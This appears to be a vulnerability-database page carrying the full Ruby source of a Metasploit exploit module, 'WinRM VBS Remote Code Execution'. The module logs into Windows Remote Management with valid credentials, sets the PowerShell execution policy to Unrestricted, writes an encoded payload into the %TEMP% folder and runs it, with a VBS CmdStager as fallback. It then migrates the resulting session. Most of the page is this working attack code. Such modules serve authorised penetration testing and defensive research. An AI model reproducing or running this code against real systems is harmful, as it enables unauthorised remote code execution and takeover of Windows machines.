Lucene search
K

WinRM VBS Remote Code Execution

🗓️ 06 Nov 2012 00:00:00Reported by The Light CosineType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

WinRM VBS Remote Code Execution module utilizes valid credentials to login to the WinRM service and execute a payload. It supports Powershell 2.0 and VBS CmdStager for payload delivery. When targeting an x64 system with the Powershell method, an x64 payload is mandatory.

Code
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::WinRM  
include Msf::Exploit::CmdStagerVBS  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WinRM VBS Remote Code Execution',  
'Description' => %q{  
This module uses valid credentials to login to the WinRM service  
and execute a payload. It has two available methods for payload  
delivery: Powershell 2.0 and VBS CmdStager.  
  
The module will check if Powershell 2.0 is available, and if so uses  
that method. Otherwise it falls back to the VBS Cmdstager which is  
less stealthy.  
  
IMPORTANT: If targeting an x64 system with the Powershell method  
you MUST select an x64 payload. An x86 payload will never return.  
},  
'Author' => [ 'thelightcosine' ],  
'License' => MSF_LICENSE,  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'WfsDelay' => 30,  
'EXITFUNC' => 'thread',  
'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',  
},  
'Platform' => 'win',  
'Arch' => [ ARCH_X86, ARCH_X86_64 ],  
'Targets' =>  
[  
[ 'Windows', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 01 2012'  
))  
  
register_options(  
[  
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false])  
], self.class  
)  
  
register_advanced_options(  
[  
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',  
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),  
], self.class)  
  
end  
  
def check  
unless accepts_ntlm_auth  
print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"  
return Msf::Exploit::CheckCode::Safe  
end  
  
return Msf::Exploit::CheckCode::Vulnerable  
end  
  
  
def exploit  
unless check == Msf::Exploit::CheckCode::Vulnerable  
return  
end  
if powershell2?  
return unless correct_payload_arch?  
path = upload_script  
return if path.nil?  
exec_script(path)  
else  
execute_cmdstager  
end  
handler  
end  
  
def execute_command(cmd,opts)  
commands = cmd.split(/&/)  
commands.each do |command|  
if command.include? "cscript"  
streams = winrm_run_cmd_hanging(command)  
print_status streams.inspect  
elsif command.include? "del %TEMP%"  
next  
else  
winrm_run_cmd(command)  
end  
end  
end  
  
def upload_script  
tdir = temp_dir  
return if tdir.nil?  
path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"  
print_status "Uploading powershell script to #{path} (This may take a few minutes)..."  
  
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)  
#add a sleep to the script to give us enoguh time to establish a session  
script << "\n Start-Sleep -s 600"  
script.each_line do |psline|  
#build our psh command to write out our psh script, meta eh?  
script_line = "Add-Content #{path} '#{psline.chomp}' "  
cmd = encoded_psh(script_line)  
streams = winrm_run_cmd(cmd)  
end  
return path  
end  
  
def exec_script(path)  
print_status "Attempting to execute script..."  
cmd = "powershell -File #{path}"  
winrm_run_cmd_hanging(cmd)  
end  
  
def encoded_psh(script)  
script = script.chars.to_a.join("\x00").chomp  
script << "\x00" unless script[-1].eql? "\x00"  
script = Rex::Text.encode_base64(script).chomp  
cmd = "powershell -encodedCommand #{script}"  
end  
  
def temp_dir  
print_status "Grabbing %TEMP%"  
resp,c = send_request_ntlm(winrm_open_shell_msg)  
if resp.nil?  
print_error "Got no reply from the server"  
return nil  
end  
unless resp.code == 200  
print_error "Got unexpected response: \n #{resp.to_s}"  
return nil  
end  
shell_id = winrm_get_shell_id(resp)  
cmd = "echo %TEMP%"  
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))  
cmd_id = winrm_get_cmd_id(resp)  
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))  
streams = winrm_get_cmd_streams(resp)  
return streams['stdout'].chomp  
end  
  
def check_remote_arch  
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}  
resp,c = send_request_ntlm(winrm_wql_msg(wql))  
#Default to x86 if we can't be sure  
return "x86" if resp.nil? or resp.code != 200  
resp_tbl = parse_wql_response(resp)  
addr_width = resp_tbl.rows.flatten[0]  
if addr_width == "64"  
return "x64"  
else  
return "x86"  
end  
end  
  
def correct_payload_arch?  
target_arch = check_remote_arch  
case target_arch  
when "x64"  
unless datastore['PAYLOAD'].include? "x64"  
print_error "You selected an x86 payload for an x64 target!"  
return false  
end  
when "x86"  
if datastore['PAYLOAD'].include? "x64"  
print_error "you selected an x64 payload for an x86 target"  
return false  
end  
end  
return true  
end  
  
  
def powershell2?  
if datastore['FORCE_VBS']  
print_status "User selected the FORCE_VBS option"  
return false  
end  
print_status "checking for Powershell 2.0"  
streams = winrm_run_cmd("powershell Get-Host")  
if streams == 401  
print_error "Login failed!"  
return false  
end  
unless streams.class == Hash  
print_error "Recieved error while running check"  
return false  
end  
if streams['stderr'].include? "not recognized"  
print_error "Powershell is not installed"  
return false  
end  
streams['stdout'].each_line do |line|  
next unless line.start_with? "Version"  
major_version = line.match(/\d(?=\.)/)[0]  
if major_version == "1"  
print_error "The target is running an older version of powershell"  
return false  
end  
end  
  
print_status "Attempting to set Execution Policy"  
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")  
if streams == 401  
print_error "Login failed!"  
return false  
end  
unless streams.class == Hash  
print_error "Recieved error while running check"  
return false  
end  
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")  
if streams['stdout'].include? 'Unrestricted'  
print_good "Set Execution Policy Successfully"  
return true  
end  
return false  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation